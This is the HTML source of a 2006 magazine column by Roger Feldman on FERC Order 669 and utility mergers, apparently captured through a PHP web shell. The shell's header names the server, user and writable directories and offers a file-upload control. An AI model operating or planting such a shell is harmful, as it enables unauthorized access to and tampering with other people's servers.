KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/enrgy/feldman/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/enrgy/feldman/0601flmn.htm
<html>

<head>
<title>January 2006: Monitoring the Urge to Merge</title>
</head>

<body style="font-family: Arial" vlink="#808080">
<div align="center"><center>

<table border="0" cellpadding="8" cellspacing="0" width="98%" bgcolor="#000000">
  <tr>
    <td width="100%" valign="middle"><a name="top"></a>
    <img src="../images/pmamagsm.gif" alt="PMA Online Magazine" border="0" align="right" width="229" height="100"></td>
  </tr>
</table>
</center></div><center>

<table border="0" cellpadding="8" width="98%">
  <tr>
    <td width="25%" valign="top" align="center">
	<!--webbot bot="Include" U-Include="wv_sidebar.htm" TAG="BODY" startspan -->

<table border="0" cellpadding="8" width="98%" id="table1">
  <tr>
    <td width="25%" valign="top" align="center"><map name="FPMap0_I1">
      <area href="http://www.powermarketers.com/adrates.html" shape="rect" coords="14, 297, 97, 322">
      <area href="http://www.powermarketers.com/pmajobs.htm" shape="rect" coords="11, 230, 95, 257">
      <area href="http://www.powermarketers.com/main.htm" target="_parent" shape="rect" coords="12, 163, 96, 189">
      <area href="http://www.powermarketers.com/power2.htm" target="_blank" shape="rect" coords="12, 95, 96, 121">
      <area href="../pmamag.htm" shape="rect" coords="11, 29, 96, 54"></map>
	<img rectangle="(12,163) (96,189) http://www.powermarketers.com/main.htm##_parent" rectangle="(12,95) (96,121) http://www.powermarketers.com/power2.htm##_blank" rectangle="(11,29) (96,54) ../pmamag.htm" src="../images/magmenu.gif" alt="PMA OnLine Magazine Menu" border="0" align="center" usemap="#FPMap0_I1" width="110" height="350"><p>
	<a href="../searchpma.htm">
	<img src="../images/archives.gif" alt="Archives Search" border="0" align="center" WIDTH="70" HEIGHT="40"></a></p>
    <p align="left"><font face="Arial"><strong><small>About The Author:<br>
	<br>
	</small></strong><span lang="X-NONE" style="color: black"><font size="2">
	ROGER FELDMAN, Co-Chair of Andrews Kurth LLP Climate Change and Carbon 
	Markets Group has practiced law related to the finance of environmental and 
	energy projects and companies for 40 years.&nbsp; In particular, he has analyzed 
	and executed a wide variety and substantial value of project financings.&nbsp; He 
	chairs the American Bar Association&#8217;s Committee on Carbon Trading and 
	Finance, serves on the Board of the American Council for Renewable Energy, 
	and has been a senior official in the Federal Energy Administration.&nbsp; He is 
	a graduate of Brown University, Yale Law School and Harvard Business School.</font></span></font></p>
	<p class="BodyText05DS" align="left" style="text-align:left">&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p><a href="#top">
	<img src="../images/b-t-top.gif" alt="Back To Top" border="0" WIDTH="71" HEIGHT="35"></a></td>
  </tr>
</table>

<!--webbot bot="Include" i-checksum="19883" endspan --></td>
    <td width="75%" valign="top">
    <img src="../images/feldman.gif" alt="Washington Viewpoint by Roger Feldman" border="0" width="375" height="75"><p><b><u><br>
      January 2006</u></b></p>
    <p align="center"><font size="6"><b>Monitoring the Urge to Merge</b></font></p>
    <p><strong>by Roger Feldman&nbsp; -- &nbsp; Bingham, Dana L.L.P.<br>
    </strong><font face="Arial" size="2">(<em>originally published by PMA OnLine 
    Magazine: 2</em>006/04/01)<br>
    </font><span style="font-size: 10.0pt; font-family: Palatino; color: black">
    &nbsp;</span></p>
    <font FACE="Times New Roman" SIZE="1"><i></i></font>
    <font SIZE="3">
    </font>
    <i></i>
    <p class="MsoNormal" style="text-autospace: none">In the age when Sam 
    Scalito has refocused national attention on the &#8220;original intent&#8221; of the 
    Founding Fathers, FERC has essentially chosen a similar approach to the 
    primal utility corporate urge to merge. In doing so, FERC is to an extent 
    subordinating policy concerns about the health and functioning of the 
    national power system &#8211; and incidentally relegating those who bet on a 
    future merchant power model - to a backseat.<br>
    <br>
    There is obviously no question that the central reality of the electric 
    power industry in the coming year (and probably those to come) will be the 
    consolidation of utilities. Mergers do not, of course deal with the inherent 
    vulnerability of utilities in the absence of regulatory relief to recover 
    fuel costs nor assure an up tick in credit ratings simply by reason of 
    agglomeration of assets (see the early returns on the Constellation - FP &amp; L 
    merger). Indeed some utilities such as Sempra, rather than focusing on 
    utility asset aggregation are said to be contemplating offloading the bulk 
    of their generation and focusing on more attractive businesses such as 
    liquefied natural gas and gas storage. No matter, utility mergers are not 
    regulated in terms of their contribution to the health of that industry any 
    more than are those of companies in any other line of business. That is just 
    not our political system.</p>
    <p class="MsoNormal" style="text-autospace: none">With the passage of EPACT, 
    as Congressman Barton has thundered, this is more true than ever. The 
    shackles of special prophylactic policing of utility holding companies under 
    PUHCA was essentially cast off - not to be replaced, in his view by a new 
    surrogate FERC &#8211; enforced regimen. Overall, the regulatory impedance of the 
    national utility march to consolidation was to be streamlined and brought 
    more into line with the relatively supine standards applicable to the rest 
    of American business life.</p>
    <p class="MsoNormal" style="text-autospace: none">Which makes it all the 
    more exceptional that FERC promulgated Order No. 669 to implement the EPACT 
    amendments to Section 203 (the Federal Power Act section dealing with 
    mergers and consolidation) . Issued in late December, Order 669 does not 
    loose sight of the fact that the preponderance of utility operations are 
    still the beneficiary of public rate regulation, that such regulation 
    creates the potential for intercorporate transactions and cross subsidy 
    arrangements which benefit utilities at the expense of those who pay 
    regulated rates. We find three basic facts emerging from evaluation of Order 
    No. 669.</p>
    <ul>
      <li>
      <p class="MsoNormal" style="text-autospace: none">The FERC flag is still 
      there in the consolidation field and now flies over a broader jurisdiction 
      - for better or worse - in terms of entities regulated. Public power and 
      munis (except inter muni-mergers) are included. So far all FUCOs 
      (acquisitions of overseas utilities), despite Congressman Barton&#8217;s 
      protestations.<br>
&nbsp;</li>
      <li>
      <p class="MsoNormal" style="text-autospace: none">The market for 
      &#8220;institutional investor&#8221; trading in smaller utility ownership interests 
      below 10% by parties without interests in other power assets, is thrown 
      open, also, any room for unregulated upstream reorganizations is open a 
      crack.<br>
&nbsp;</li>
      <li>
      <p class="MsoNormal" style="text-autospace: none">The basic requirements 
      to consistency with the public interest, i.e., measurement of no harm to 
      competition, rates and regulation under FERC&#8217;s Merger Policy Statement of 
      effect essentially is intact. In the case of consumer protection it is in 
      some respects enhanced by an encrustation of PIHCA doctrine.<br>
&nbsp;</li>
      <li>
      <p class="MsoNormal" style="text-autospace: none">Through a blanket 
      exemption provisions of the Order, FERC has agreed to stay out of 
      intrastate, i.e., state commission regulated matters.</li>
    </ul>
    <p class="MsoNormal" style="text-autospace: none">What does all this mean 
    for &#8220;merchant power&#8221; &#8211; the injection of competition into the electric power 
    industry as a means of controlling prices and stimulating innovation. That&#8217;s 
    the merchant power whose prospects appear &#8220;dim&#8221; to S&amp;P in its recent Report 
    except for IPPs with nuclear and coal base load plants, R.I.P. ____ Calpine. 
    Or even the &#8220;merchant power&#8221; which represents the assets in play among large 
    acquisition and hedge funds, at present, and which may well gravitate back 
    (read &#8220;flip&#8221;) to the utility sector in the longer run, like the assets of 
    Orion Power acquired by Madison Dearborn and U.S. Power Generating. How will 
    the regulatory environment affect the future flips?</p>
    <p class="MsoNormal" style="text-autospace: none">For this subset population 
    of the power world, the effective operative, the effectively operative 
    principles of Order 669 appear to be these:</p>
    <ul>
      <li>
      <p class="MsoNormal" style="text-autospace: none">All assets, even 
      &#8220;generation only&#8221;, are subject to jurisdictional review with the exception 
      of certain QFs.<br>
&nbsp;</li>
      <li>
      <p class="MsoNormal" style="text-autospace: none">Industrial organization 
      of QFs (including cogen and renewables) remains immune from the FPA � 203 
      standards. But acquisitions of QF interests by otherwise FERC 
      jurisdictional entities now are subject to FERC jurisdiction.<br>
&nbsp;</li>
      <li>
      <p class="MsoNormal" style="text-autospace: none">The significance of a 
      business entity&#8217;s exemption from the PUHCA 2005 requirements is irrelevant 
      to applicability of Section 203. (EWGs also appear to fall within this 
      jurisdictional ambit.)</li>
    </ul>
    <p class="MsoNormal" style="text-autospace: none">FERC&#8217;s 203 rules matter 
    Non-compliant transactions may be declared null and void by FERC. The 
    statutorily raised dollar threshold for exercise of FERC&#8217;s jurisdiction to 
    $10 million, has been in its effect mitigated by its definition of this 
    threshold in terms of &#8220;value&#8221;, i.e., nondepreciated costs (rather than at 
    asset value as it would be for rate base (ratemaking) purposes. FERC now has 
    significant civil penalty powers.</p>
    <p class="MsoNormal" style="text-autospace: none">Order 669 is effectively 
    complemented by FERC&#8217;s recently announced determination to fundamentally 
    change its review of market manipulation to broadly follow on SEC type model 
    in future police the trading markets - yet another Congressional mandate 
    under EPAC - relatively broadly construed. Like FERC&#8217;s merger regulation 
    rules the market manipulation rules point toward enhancement of a 
    meticulously managed utility - dominated system. Will it be through a 
    sterile new world for merchant powers already reeling from EPACT&#8217;s 
    decimation of to PURPA, most recently bolstered by FERC in its NOPR 
    construing EPACT to specify that is mandatory QF buying utilities is not 
    required in RTO areas. We shall see.</p>
    <p class="MsoNormal" style="text-autospace: none">So PUHCA is effectively 
    out. Some sustained FERC oversight of mergers is in. Competitive power 
    concepts are an afterthought, except as related to more vigorous transaction 
    police of the last standing players. FERC has chosen a formal legal 
    oversight approach to the urge to merge - &#8220;originalist&#8221; thinking if you 
    will. The merchant power will navigate the consequences remains to be seen. 
    Merchant power&#8217;s place is FERCs Eden, in which it is monitoring the slightly 
    sanitized urge to merge, remains unclear.</p>
    <!--webbot bot="Include" U-Include="wv_bottom.htm" TAG="BODY" startspan -->

    <hr color="#FFFF00">
    <p class="MsoBodyText" align="left" style="margin-bottom:0in;margin-bottom:.0001pt;
text-align:left"><font face="Arial" size="2">
	<span lang="X-NONE" style="color: black">ROGER FELDMAN, Co-Chair of Andrews 
	Kurth LLP Climate Change and Carbon Markets Group has practiced law related 
	to the finance of environmental and energy projects and companies for 40 
	years.&nbsp; In particular, he has analyzed and executed a wide variety and 
	substantial value of project financings.&nbsp; He chairs the American Bar 
	Association&#8217;s Committee on Carbon Trading and Finance, serves on the Board 
	of the American Council for Renewable Energy, and has been a senior official 
	in the Federal Energy Administration.&nbsp; He is a graduate of Brown University, 
	Yale Law School and Harvard Business School.</span></font></p>

<!--webbot bot="Include" i-checksum="63395" endspan --></td>
  </tr>
  <tr>
    <td width="25%" valign="top" align="center">&nbsp;</td>
    <td width="75%" valign="top">
    <p align="center"><a href="#top">
<img src="../images/b-t-top.gif" alt="Back To Top" border="0" width="71" height="35"></a></td>
  </tr>
</table>
</center>

<p align="center">&nbsp;</p>
</body>
</html>

Anon7 - 2021